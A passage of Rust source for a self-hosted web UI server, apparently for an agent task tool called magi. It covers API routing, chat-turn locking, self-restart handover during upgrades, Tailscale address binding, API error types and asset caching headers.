            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
            .route("/api/queue/{id}/edit", post(queue_edit))
            .route("/api/queue/{id}/done", post(queue_done))
            .route("/api/questions", get(questions_list))
            .route("/api/questions/{id}/answer", post(question_answer))
            .route("/api/questions/{id}/say", post(question_say))
            .route("/api/questions/{id}/consult", post(question_consult))
            .route("/api/questions/{id}/panel", get(question_panel))
            // The same asset, reachable from inside the panel by its bare
            // filename. A document served at `.../panel` resolves `shot.png`
            // to `.../shot.png`, which is not the asset route, so a panel
            // written the way its author was told to write it showed broken
            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
            // it - deliberately - so the fix is that the panel's own URL ends
            // in a filename and its siblings are the assets.
            .route("/api/questions/{id}/panel/index.html", get(question_panel))
            .route("/api/questions/{id}/panel/{name}", get(question_asset))
            .route("/api/questions/{id}/asset/{name}", get(question_asset))
            .route("/api/notifications", get(notifications_list))
            .route("/api/notifications/read-all", post(notifications_read_all))
            .route("/api/notifications/{id}/read", post(notification_read))
            .route(
                "/api/notifications/{id}/dismiss",
                post(notification_dismiss),
            )
            .route("/api/talks", get(talks_list).post(talk_post))
            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
            .route("/api/talks/{id}/say", post(talk_say))
            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
            .route("/api/talks/{id}/agent", post(talk_agent))
            .route("/api/talks/{id}/persona", post(talk_persona))
            .route("/api/talks/{id}/implementers", post(talk_implementers))
            .route("/api/talks/{id}/close", post(talk_close))
            .route("/api/talks/{id}/reopen", post(talk_reopen))
            // `DefaultBodyLimit` is raised only on this one route - every
            // other route on this server answers in a few kilobytes, and
            // widening the crate-wide default for all of them just because
            // one accepts a picture would let any other handler be handed
            // a multi-megabyte body it never expects.
            .route(
                "/api/talks/{id}/attachments",
                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
            )
            .route(
                "/api/talks/{id}/attachments/{att}",
                get(talk_attachment_get),
            )
            .route("/api/talks/{id}/avatar", get(talk_avatar))
            .route("/avatars/operator.svg", get(operator_avatar))
            .route("/api/events", get(events))
            .with_state(Arc::new(self))
    }
}

/// What a chat request is told while an upgrade is parking and the request
/// cannot be queued as a draft.
const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";

/// One talk's turn slot, released on drop.
///
/// A guard rather than a matching `remove` at the end of the handler, because
/// the handler has several early returns and one `await` that can be cancelled
/// out from under it. A leaked id is a talk nobody can talk to again.
#[derive(Debug)]
struct TalkTurnGuard {
    talk: String,
    turns: Arc<Mutex<TalkTurns>>,
    released: bool,
    /// The cross-process half of the slot; dropped with the guard.
    lease: Option<crate::talk::TurnLease>,
}

/// In-memory turn ownership plus the queue generation observed by a drainer.
///
/// The generation changes only after a durable queued draft is written and its
/// caller finds the turn busy. That lets the loop run filesystem work outside
/// this mutex while still making the final empty-check/release atomic with a
/// concurrent queue handoff.
#[derive(Debug, Default)]
struct TalkTurns {
    live: HashSet<String>,
    queued: HashMap<String, u64>,
    /// Set while an upgrade hand-over is parking: no turn may start, so the
    /// set in `live` can only shrink. Cleared again if the hand-over ends
    /// without exiting the process.
    parking: bool,
}

/// The atomic initial-state decision made by
/// [`Ui::begin_talk_turn_unless_pending`].
enum TalkTurnStart {
    Claimed(TalkTurnGuard),
    Busy,
    /// Another process holds the turn lease. Unlike `Busy` there is no local
    /// drain loop that would answer a queued draft, so the caller refuses.
    Foreign,
    Pending,
}

impl TalkTurnGuard {
    /// Does this guard still own the on-disk lease? A transient failure to
    /// check counts as owning: the next beat decides. A guard that lost it
    /// must not start another turn on the same session.
    fn owns(&self) -> bool {
        self.lease
            .as_ref()
            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
    }

    /// `talk::respond` while renewing the on-disk lease, so a turn longer
    /// than the lease's TTL still reads as held to other processes.
    async fn respond(
        &self,
        talk: &mut Talk,
        talks: &Talks,
        cfg: &Config,
        text: &str,
    ) -> anyhow::Result<()> {
        let lease = self
            .lease
            .as_ref()
            .context("the turn guard no longer holds its lease")?;
        talk::respond(lease, talk, talks, cfg, text).await
    }

    /// Release while the caller already holds the claim mutex, closing the
    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
    fn release(mut self, live: &mut TalkTurns) {
        // The on-disk lease goes first: while `live` still names the talk, no
        // local claim can start, so nobody observes the slot free but the
        // lease held.
        self.lease = None;
        live.live.remove(&self.talk);
        live.queued.remove(&self.talk);
        self.released = true;
    }
}

impl Drop for TalkTurnGuard {
    fn drop(&mut self) {
        if self.released {
            return;
        }
        // Lease first, then the in-process slot (see `release`).
        drop(self.lease.take());
        if let Ok(mut live) = self.turns.lock() {
            live.live.remove(&self.talk);
            live.queued.remove(&self.talk);
        }
    }
}

/// Releases a resume claim, so a run is resumable again after the attempt.
struct ResumeGuard {
    run: String,
    resuming: Arc<Mutex<HashSet<String>>>,
}

impl Drop for ResumeGuard {
    fn drop(&mut self) {
        if let Ok(mut live) = self.resuming.lock() {
            live.remove(&self.run);
        }
    }
}

/// Bind the port, waiting briefly for a predecessor to let go of it.
///
/// A restart hands the address from one process to the next, and the old one
/// holds its listener until it unwinds. A single `bind` can lose that race,
/// and for a restart triggered from a phone that means the deck never comes
/// back with no terminal around to say why.
///
/// Bounded, and only for the one error a wait can fix: anything else fails at
/// once, because retrying it would turn a clear message into a silence.
async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
    const WINDOW: Duration = Duration::from_secs(10);
    const GAP: Duration = Duration::from_millis(250);

    let deadline = std::time::Instant::now() + WINDOW;
    let mut said = false;
    loop {
        match tokio::net::TcpListener::bind(socket).await {
            Ok(listener) => return Ok(listener),
            Err(e)
                if e.kind() == std::io::ErrorKind::AddrInUse
                    && std::time::Instant::now() < deadline =>
            {
                if !said {
                    said = true;
                    tracing::info!(
                        "{socket} is still held - waiting up to {}s for it, \
                         which is what a restart looks like from here",
                        WINDOW.as_secs()
                    );
                }
                tokio::time::sleep(GAP).await;
            }
            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
        }
    }
}

/// Signalled when an upgrade has replaced the binary and the successor should
/// take this address over. One per process: there is one address to hand on.
static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);

/// Set to `1` on the successor when the loop was running at handover.
const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";

/// Whether the environment value asks for the loop to be resumed.
fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
    value.is_some_and(|v| v == "1")
}

/// Start this binary again with the same arguments, detached.
///
/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
/// so the address is already free when the successor binds it. The first
/// attempt at this spawned the successor two hundred milliseconds before
/// exiting instead, and the released binary - which has no bind retry - died
/// on "address already in use" with its stdio sent to null, so the deck
/// simply never came back.
///
/// Detached and without inherited stdio: the successor has to outlive this
/// process, and must not hold open a pipe a terminal is waiting on.
///
/// `resume` tells the successor to start the queue loop, through
/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
/// process inherited from its own predecessor cannot leak into a generation
/// that should not resume. The successor's own environment keeps the variable
/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
///
/// The successor's stdout and stderr are appended to `<home>/web.log` rather
/// than sent to null: a supervisor's redirection only ever held the first
/// generation's descriptors, so every later generation logged nowhere. The
/// pid of the child is returned so the handover log can name it.
fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
    let exe = std::env::current_exe().context("find this binary")?;
    let args: Vec<String> = std::env::args().skip(1).collect();
    updater::log_step(
        home,
        &format!("restarting: {} {}", exe.display(), args.join(" ")),
    );
    let log_path = home.join(WEB_LOG);
    let open_log = || {
        std::fs::create_dir_all(home)?;
        std::fs::OpenOptions::new()
            .create(true)
            .append(true)
            .open(&log_path)
    };
    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
        Ok(pair) => (
            std::process::Stdio::from(pair.0),
            std::process::Stdio::from(pair.1),
        ),
        Err(e) => {
            updater::log_warn(
                home,
                &format!(
                    "could not open {}: {e}; the successor logs nowhere",
                    log_path.display()
                ),
            );
            (std::process::Stdio::null(), std::process::Stdio::null())
        }
    };

    let mut cmd = std::process::Command::new(&exe);
    if resume {
        cmd.env(RESUME_LOOP_ENV, "1");
    } else {
        cmd.env_remove(RESUME_LOOP_ENV);
    }
    cmd.args(&args)
        .stdin(std::process::Stdio::null())
        .stdout(out)
        .stderr(err);
    #[cfg(windows)]
    {
        use std::os::windows::process::CommandExt as _;
        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
        // and Ctrl-C in the old terminal must not reach the successor.
        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
    }
    let child = cmd.spawn().context("start the successor")?;
    Ok(child.id())
}

/// File under `<home>` the successor's output is appended to.
const WEB_LOG: &str = "web.log";

/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
/// stored by an earlier `notify_one` is consumed by the first poll, so the
/// signal is never missed and never wakes a second time.
async fn wait_for_handover(signal: &Notify) {
    signal.notified().await;
}

/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
///
/// The server itself owns no state, so nothing here is graceful for the HTTP
/// side's sake: the connections go with the dropped listener, which costs a
/// phone one change-stream reconnection it was going to make anyway.
///
/// The signal branch is not optional now that the loop lives in this process.
/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
/// handler is what stops the signal terminating the process - so without a
/// branch of our own, the first Ctrl-C after the operator started the loop
/// would stop the loop and leave `magi web` listening forever, unkillable
/// from the terminal it was started in.
///
/// What it waits for is the loop, not the sockets. A run in flight is
/// finished first, for the reason [`daemon::serve`] gives: killing the graph
/// mid-node leaves worktrees, branches and agent sessions behind and throws
/// away every agent call already paid for.
///
/// The server therefore runs on a task of its own rather than inside the
/// `select!`: an arm that resolves *drops* the futures the other arms were
/// polling, so serving the address from inside one would take the deck down
/// at the instant the handover began and keep it down for the whole park -
/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
/// owns the order.
pub async fn serve(opts: Opts) -> Result<()> {
    let (addr, warning) = resolve_bind(&opts.bind);
    if let Some(warning) = warning {
        tracing::warn!("{warning}");
    }

    // Process-global, and therefore set exactly once, here: the report route
    // must never emit escape sequences into a browser, and toggling the flag
    // per request would race with a concurrent request rendering its own
    // report. Startup is the only moment at which no request can observe the
    // change. Nothing in the server turns colour back on.
    report::set_color(false);

    let repo = normalize_default_repo(opts.repo).await;
    let ui = Ui::open(repo).with_merge(opts.merge);
    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
    // home to bracket the parking and restarting stages, and `run_update_recheck`
    // needs both it and the repo, and by then there is no `ui` left to read
    // them from.
    let home = ui.home.clone();
    let repo = ui.repo.clone();
    // Settles a progress record a predecessor left non-terminal - either this
    // *is* the successor `spawn_successor` started, or the previous process
    // died mid-handover. Before the router starts answering, so the very
    // first `/api/health` a phone gets from this process already reflects it.
    updater::reconcile_after_restart(&home);
    updater::log_step(
        &home,
        &format!(
            "web process started (version {}); handover log {}, successor output {}",
            env!("CARGO_PKG_VERSION"),
            updater::log_path(&home).display(),
            home.join(WEB_LOG).display()
        ),
    );
    updater::spawn_watchdog(home.clone());
    // `magi web` can stay up for days, and the one-time check `main.rs`'s
    // `spawn_update_check` does at startup only ever runs once: after that,
    // `/api/health`'s `update` field - and the phone's "Update & restart"
    // button, which reads the very same cache - would stay frozen on
    // whatever that single check found, no matter how many releases ship
    // afterwards. This keeps it current instead. Detached: it must keep
    // going for as long as this process serves, `serve` has nothing to await
    // it for, and it exits on its own the moment the process does.
    tokio::spawn(run_update_recheck(repo, home.clone()));
    let looping = ui.looping();
    let turns = ui.turns();
    let talk_store = ui.talks.clone();
    let socket = SocketAddr::new(addr, opts.port);
    let listener = bind_waiting(socket).await?;
    let url = format!("http://{addr}:{}", opts.port);
    tracing::info!(
        "magi web UI on {url} - there is no authentication, so anyone who can \
         reach this address can file and hold tasks: the tailnet is the \
         security boundary"
    );
    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
        tracing::info!("resumed the loop the predecessor was running");
    } else {
        tracing::info!(
            "the queue loop is not running yet - start it from the UI, which is \
             the whole reason this process can: nothing in the queue moves until \
             something is running the loop"
        );
    }
    if opts.open {
        // The URL alone on stdout, for a caller that wants to open it. magi
        // does not spawn a browser: on the machine this usually runs on there
        // is no display, and a failed launch would be the only output.
        println!("{url}");
    }

    // On its own task, so nothing this function awaits can stop the address
    // being answered. `hand_over` is where it is given up.
    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
    let interrupted = async {
        if tokio::signal::ctrl_c().await.is_err() {
            // No handler on this platform, so there is no signal to act on.
            // Never resolving is the safe answer: a failed registration must
            // not masquerade as the operator asking for a shutdown and take
            // the UI down on startup.
            std::future::pending::<()>().await;
        }
    };
    let handover = wait_for_handover(&HANDOVER);
    let outcome = tokio::select! {
        joined = &mut served => match joined {
            Ok(outcome) => outcome.context("serve the web UI"),
            Err(e) => Err(e).context("the task serving the web UI ended"),
        },
        () = interrupted => {
            tracing::info!("shutting down the web UI");
            finish_loop(&home, &looping, None).await;
            Ok(())
        }
        () = handover => {
            updater::log_step(&home, "serve: the select! woke on the handover signal");
            let successor_home = home.clone();
            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
                spawn_successor(&successor_home, resume)
            })
            .await
        }
    };
    updater::log_step(
        &home,
        &match &outcome {
            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
            Err(e) => format!("serve: returning an error: {e:#}"),
        },
    );
    outcome
}

/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
/// process's own working directory is not a git checkout at all - the
/// checkout [`repos::discover_verified`] finds instead.
///
/// Only the unmodified default is ever replaced: an operator who named a
/// directory outright, git checkout or not, gets exactly that directory
/// back, and the same story downstream (a talk whose briefing embeds a
/// non-git directory, and an agent that has to ask the operator where the
/// real repository is) that has always told them so - substituting a guess
/// for an explicit answer would be a second, silent opinion about what they
/// meant. There is no instruction or task text yet to match against this
/// early, so only [`repos::discover_verified`]'s own-repository tier can
/// ever settle this - the hint tier never fires here.
///
/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
/// or a git installation that is broken in exactly the way that made the
/// original `canonical` check above fail too - so it is re-checked with
/// `git::toplevel` before it is ever used in place of the operator's own
/// directory.
async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
    if repo != FsPath::new(".") {
        return repo;
    }
    let Ok(canonical) = repo.canonicalize() else {
        return repo;
    };
    if git::toplevel(&canonical).await.is_ok() {
        return repo;
    }
    let Some(home) = dirs::home_dir() else {
        return repo;
    };
    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
        Some(found) => {
            tracing::info!(
                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
                canonical.display(),
                found.path.display(),
                found.reason,
            );
            found.path
        }
        None => repo,
    }
}

/// Park the loop, then release the address, then start the successor.
///
/// The order is the whole function, and each step is answerable to a failure
/// this arrangement has already had:
///
/// 1. **Park.** The loop was asked to stop by the request that replaced the
///    binary, and this waits for it, because killing the graph mid-node
///    leaves worktrees, branches and agent sessions behind and throws away
///    every agent call already paid for. It takes as long as the node in
///    flight - up to `timeout_implement`, an hour by default - and the deck
///    goes on answering for all of it, which is the reason `served` is a task
///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
///    first upgrade from a phone that caught a run mid-implement dropped the
///    listener the moment it was asked to, and the operator got
///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
///    waiting on and nothing but a process list to say the run was alive.
/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
///    the join resolves only once the task's future has been dropped, so the
///    listener is released before the next line. Connections it already
///    accepted are served on tasks of their own and wind down asynchronously;
///    on some platforms (macOS) they can briefly keep the address busy, and
///    the successor's `bind_waiting` absorbs that.
/// 3. **Start the successor**, which binds the address this process has just
///    let go of - see [`spawn_successor`] for what the other order cost.
///
/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
/// reporting, not part of the design: it exists so `/api/health` can say
/// "parking, waiting on run X" instead of leaving the phone to guess why the
/// deck went quiet, and dropping it would not change the order above.
async fn hand_over(
    home: &FsPath,
    looping: &Mutex<LoopState>,
    turns: &Arc<Mutex<TalkTurns>>,
    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
    served: tokio::task::JoinHandle<std::io::Result<()>>,
    successor: impl FnOnce(bool) -> Result<u32>,
) -> Result<()> {
    updater::log_step(home, "hand_over: entered; writing the parking stage");
    // The lease and the stage are written as one step, so a reader that sees
    // `parking` also finds the proof that hand_over is alive. Dropped on
    // every way out.
    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
    if !recorded {
        updater::log_warn(
            home,
            "hand_over: upgrade.json is unreadable; no parking stage",
        );
    }
    // Chat stays open while the loop parks: nothing restarts until it ends,
    // and the park can last as long as a node. Only once it is done is the
    // slot closed, right before the restart; a turn started earlier is in
    // `live` by then, so `finish_talks` waits for it.
    finish_loop(home, looping, Some(&mut lease)).await;
    let parking = ParkingTurns::begin(turns);
    let talks_done = finish_talks(home, turns, talk_wait);
    tokio::pin!(talks_done);
    let mut beat = tokio::time::interval(LEASE_BEAT);
    let (abandoned, waited_for) = loop {
        tokio::select! {
            left = &mut talks_done => break left,
            _ = beat.tick() => lease.beat(),
        }
    };
    drop(lease);
    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
    served.abort();
    let _ = served.await;
    updater::log_step(home, "hand_over: listener released");
    // Read last: the deck answers for the whole park, so an operator's stop
    // during the wait must still be honoured by the successor.
    let resume = lock_or_recover(looping).resume_after_handover;
    match updater::read_progress(home) {
        Some(mut progress) => {
            progress.advance(updater::Stage::Restarting);
            if !abandoned.is_empty() {
                progress.detail = Some(format!(
                    "handed over while {} still running after {} s",
                    updater::talks_phrase(&abandoned),
                    waited_for.as_secs()
                ));
            }
            updater::write_progress_logged(home, &progress);
        }
        None => updater::log_warn(
            home,
            "hand_over: upgrade.json is unreadable; no restarting stage",
        ),
    }
    updater::log_step(
        home,
        &format!("hand_over: starting the successor (resume={resume})"),
    );
    drop(parking);
    match successor(resume) {
        Ok(pid) => {
            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
            Ok(())
        }
        Err(e) => {
            updater::log_warn(
                home,
                &format!("hand_over: the successor did not start: {e:#}"),
            );
            Err(e)
        }
    }
}

/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
/// a turn that runs its full timeout still needs a moment to record its answer.
const TALK_PARK_GRACE: Duration = Duration::from_secs(60);

/// How often the park looks at the chat turns still running.
const TALK_POLL: Duration = Duration::from_millis(250);

/// The longest an upgrade waits for chat turns: one turn's timeout plus a
/// grace. Beyond it a stuck turn must not block the hand-over.
fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
}

/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
/// the repositories those talks run in (each turn uses its own talk's
/// configuration), plus the grace. A talk or config that cannot be read counts
/// with the default timeout.
fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
    let default = Config::default().graph.timeout_talk;
    let longest = ids
        .iter()
        .map(|id| {
            talks
                .get(id)
                .ok()
                .and_then(|t| Config::discover(&t.repo, None).ok())
                .map_or(default, |(c, _)| c.graph.timeout_talk)
        })
        .max()
        .unwrap_or(default);
    talk_wait_bound(longest)
}

/// Stops new chat turns for as long as it lives, so the hand-over only ever
/// waits on a set that cannot grow. `hand_over` takes it only after the loop
/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
struct ParkingTurns(Arc<Mutex<TalkTurns>>);

impl ParkingTurns {
    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
        Self(Arc::clone(turns))
    }
}

impl Drop for ParkingTurns {
    fn drop(&mut self) {
        self.0
            .lock()
            .unwrap_or_else(PoisonError::into_inner)
            .parking = false;
    }
}

/// Wait until no chat turn is running in this process, for at most the longest
/// `bound_for` has given for the turns seen so far. Returns the talk ids still
/// running when the bound was hit (empty when the turns finished) with the
/// bound that applied, after saying so in the upgrade log.
async fn finish_talks(
    home: &FsPath,
    turns: &Mutex<TalkTurns>,
    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
) -> (Vec<String>, Duration) {
    let running = || {
        let mut ids: Vec<String> = turns
            .lock()
            .unwrap_or_else(PoisonError::into_inner)
            .live
            .iter()
            .cloned()
            .collect();
        // A turn another task of this process (the daemon's completion
        // notice) or another process runs holds only the on-disk lease.
        let talks = talk::Talks::at(home.join("talks"));
        for t in talks.list() {
            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
                ids.push(t.id);
            }
        }
        ids.sort();
        ids
    };
    let started = std::time::Instant::now();
    let mut seen = Vec::new();
    let mut bound = Duration::ZERO;
    loop {
        let ids = running();
        if ids != seen {
            bound = bound.max(bound_for(&ids));
            if ids.is_empty() {
                updater::log_step(home, "finish_talks: no chat turn is running");
            } else {
                updater::log_step(
                    home,
                    &format!(
                        "finish_talks: waiting for {} to finish",
                        updater::talks_phrase(&ids)
                    ),
                );
            }
            updater::set_parked_talks(home, &ids);
            seen = ids;
        }
        if seen.is_empty() {
            return (Vec::new(), bound);
        }
        if started.elapsed() >= bound {
            updater::log_warn(
                home,
                &format!(
                    "finish_talks: {} still running after {} s; handing over anyway",
                    updater::talks_phrase(&seen),
                    bound.as_secs()
                ),
            );
            return (seen, bound);
        }
        tokio::time::sleep(TALK_POLL).await;
    }
}

/// How often `finish_loop` renews the handover lease; well inside
/// [`updater::LEASE_TTL_SECS`].
const LEASE_BEAT: Duration = Duration::from_secs(20);

/// Ask the loop to stop and wait for it, on the way out of [`serve`].
///
/// The wait is the whole function. Returning from `serve` while a graph is
/// mid-node ends the process with worktrees, branches and agent sessions left
/// behind and every agent call in that run paid for and thrown away, which is
/// exactly what the daemon's own shutdown refuses to do.
async fn finish_loop(
    home: &FsPath,
    state: &Mutex<LoopState>,
    mut lease: Option<&mut updater::LeaseGuard>,
) {
    let live = lock_or_recover(state).live.take();
    let Some(live) = live else {
        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
        return;
    };
    live.stop.stop();
    lock_or_recover(state).rev += 1;
    updater::log_step(
        home,
        "finish_loop: waiting for the loop to finish the run in flight",
    );
    let waited = std::time::Instant::now();
    // The task records its own outcome and logs it, so there is nothing to do
    // with a join error here but stop waiting.
    let mut handle = live.handle;
    let mut beat = tokio::time::interval(LEASE_BEAT);
    loop {
        tokio::select! {
            _ = &mut handle => break,
            _ = beat.tick() => {
                if let Some(lease) = lease.as_deref_mut() {
                    lease.beat();
                }
            }
        }
    }
    updater::log_step(
        home,
        &format!(
            "finish_loop: the loop ended after {:.1}s",
            waited.elapsed().as_secs_f32()
        ),
    );
}

/// Resolve `--bind` to an address, plus a warning when the answer is not what
/// the operator asked for.
///
/// Split out from [`serve`] because the interesting half - deciding whether
/// Tailscale gave us something usable - is testable without opening a socket.
pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
    match bind {
        Bind::Addr(addr) => (*addr, None),
        Bind::Auto => match tailscale_ip() {
            Ok(ip) => (IpAddr::V4(ip), None),
            Err(why) => (
                IpAddr::V4(Ipv4Addr::LOCALHOST),
                Some(format!(
                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
                     local-only and a phone cannot reach it; start Tailscale \
                     or pass --bind <addr>"
                )),
            ),
        },
    }
}

/// This machine's Tailscale IPv4, or why there is not one.
///
/// `tailscale ip -4` is a local call against the running daemon and returns in
/// milliseconds, so it is fine to make it synchronously before the server
/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
/// CGNAT block Tailscale assigns from, and anything else on that output would
/// be a different tool answering.
fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
    let out = std::process::Command::new("tailscale")
        .args(["ip", "-4"])
        .quiet()
        .output()
        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
    if !out.status.success() {
        let why = String::from_utf8_lossy(&out.stderr);
        let why = why.trim();
        return Err(format!(
            "`tailscale ip -4` failed ({}){}",
            out.status,
            if why.is_empty() {
                String::new()
            } else {
                format!(": {why}")
            }
        ));
    }
    String::from_utf8_lossy(&out.stdout)
        .lines()
        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
        .find(is_tailnet)
        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
}

/// Is this address in the CGNAT block Tailscale hands out from?
fn is_tailnet(ip: &Ipv4Addr) -> bool {
    let o = ip.octets();
    o[0] == 100 && (64..=127).contains(&o[1])
}

/// What every handler returns. Spelled out because `Result` in this crate is
/// `anyhow::Result`, and a handler's error is a status code as much as a
/// message.
type ApiResult<T> = std::result::Result<T, ApiError>;

/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
#[derive(Debug)]
struct ApiError {
    status: StatusCode,
    message: String,
}

impl ApiError {
    /// The client asked for something malformed.
    fn bad_request(message: impl Into<String>) -> Self {
        Self {
            status: StatusCode::BAD_REQUEST,
            message: message.into(),
        }
    }

    /// No such run or task.
    fn not_found(message: impl Into<String>) -> Self {
        Self {
            status: StatusCode::NOT_FOUND,
            message: message.into(),
        }
    }

    /// Someone else owns the thing the client wants to change.
    /// Re-badge an error whose default mapping is wrong for this route.
    fn with_status(mut self, status: StatusCode) -> Self {
        self.status = status;
        self
    }

    /// A rules violation from a domain type, reported as the caller's fault.
    /// `Question::answer` rejects an unoffered choice, and that is a bad
    /// request, not a server error.
    fn bad_request_from(e: anyhow::Error) -> Self {
        Self::bad_request(format!("{e:#}"))
    }

    fn conflict(message: impl Into<String>) -> Self {
        Self {
            status: StatusCode::CONFLICT,
            message: message.into(),
        }
    }

    /// Our fault, or the disk's.
    fn internal(message: impl Into<String>) -> Self {
        Self {
            status: StatusCode::INTERNAL_SERVER_ERROR,
            message: message.into(),
        }
    }
}

impl From<anyhow::Error> for ApiError {
    /// Errors from `queue` and `run` carry their context chain, and the whole
    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
    /// value at line 3" is a message an operator can act on, and there is no
    /// secret in a path on a single-user tailnet.
    fn from(e: anyhow::Error) -> Self {
        Self::internal(format!("{e:#}"))
    }
}

impl IntoResponse for ApiError {
    fn into_response(self) -> Response {
        let body = serde_json::json!({ "error": self.message });
        (self.status, Json(body)).into_response()
    }
}

/// Run a handler's filesystem work off the executor.
///
/// Every route that touches the disk goes through here rather than each one
/// arguing about whether its own read is small enough. Uniform because the
/// expensive case is not rare: `run.json` for a finished competition holds
/// every judgement, deliberation turn and review round, so listing a few
/// hundred runs is megabytes of parsing, and the executor threads doing it are
/// the same ones serving the change stream of every other connected phone.
async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
where
    T: Send + 'static,
{
    #[cfg(test)]
    let job = request_cost::carry(job);
    match tokio::task::spawn_blocking(job).await {
        Ok(result) => result,
        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
    }
}

/// Cache policy for the three compiled-in front-end files.
///
/// The whole interface is `include_str!`ed into the binary, so its content
/// changes only when the binary does - and a phone that keeps a copy is
/// welcome to, right up until the deck is replaced. Without a single cache
/// header, browsers were free to invent their own policy, and one did:
/// yukimemi's phone went on showing "Candidates must be folded before
/// deleting. Run `magi fold` first." - a sentence deleted two releases
/// earlier - from a run detail served by a deck that no longer contained it.
/// The delete button he was told about was right there, and unreachable.
///
/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
/// every time, the answer is a 304 costing one small round trip while the
/// deck is unchanged, and the moment it is replaced the tag differs and the
/// new interface arrives. Correctness over bytes - this is one file of a few
/// tens of kilobytes on a tailnet, and being a version behind is not a
/// cosmetic problem when the difference is whether a button exists.
const ASSET_CACHE: &str = "no-cache, must-revalidate";

/// `ETag` for the compiled-in assets, distinct per build.
///
/// The version alone would leave a locally built deck - `cargo install
/// --path .` twice at the same version, which is the normal way to iterate -
/// serving a stale tag for changed bytes. The build timestamp is what makes
/// two builds of `0.3.0` differ.
fn asset_etag() -> &'static str {
    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
        format!(
            "\"{}-{}\"",
            env!("CARGO_PKG_VERSION"),
            // Length is a cheap, deterministic stand-in for a hash: the
            // three files are compiled in together, so any edit to any of
            // them almost certainly changes the total, and a rebuild is what
            // this needs to track rather than every possible byte pattern.
            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
        )
    });
    &TAG
}

/// Headers for a compiled-in asset of `mime`.
fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
    [
        (header::CONTENT_TYPE, mime),
        (header::CACHE_CONTROL, ASSET_CACHE),
        (header::ETAG, asset_etag()),
    ]
}

/// Serve a compiled-in asset, answering `304` when the client already has it.
///
/// axum does not compare `If-None-Match` for us, and a header the server sets
/// but never honours is worse than none: the phone revalidates on every load
/// and is handed the whole file back each time. Doing the comparison is what
/// makes `must-revalidate` cost one small round trip rather than the
/// interface.
fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
    let tag = asset_etag();
    let known = headers
        .get(header::IF_NONE_MATCH)
        .and_then(|v| v.to_str().ok())
        // A revalidating client may send several, and a proxy may weaken the
        // tag to `W/"..."`; matching on containment covers both without
        // parsing the grammar.
